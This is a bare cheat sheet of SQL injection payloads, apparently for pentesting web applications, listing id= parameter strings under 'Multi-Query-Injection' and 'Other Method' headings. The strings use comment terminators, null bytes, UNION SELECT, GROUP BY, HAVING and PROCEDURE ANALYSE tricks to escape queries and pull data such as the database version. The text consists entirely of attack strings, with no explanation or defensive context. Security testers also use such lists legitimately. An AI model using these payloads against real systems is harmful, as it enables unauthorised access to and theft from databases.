GHI

Multi-Query-Injection

id=1-- -' our query-- -
id=1%23'  our query -- -
id=1 union select null,null,null-- -' our query %23

=1 ;%00 ' and 0 union select 1 ;%00!
=1 -- - ' and 0 union select 1 -- -%
=1 -- - ' or 1 union select 1,2 limit 2 -- -

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Other Method

=1' in boolean mode) UNION SELECT 1,2-- -
=1' group by 1 union select 1,2-- -
=1' procedure analyse() union select 1,2-- -
=1) having 1=0 union select '11111' from dual  -- -  Where 0 %23
=1  union select 1 LIMIT 0,1-- -
'=0=column union select version() limit 1-- -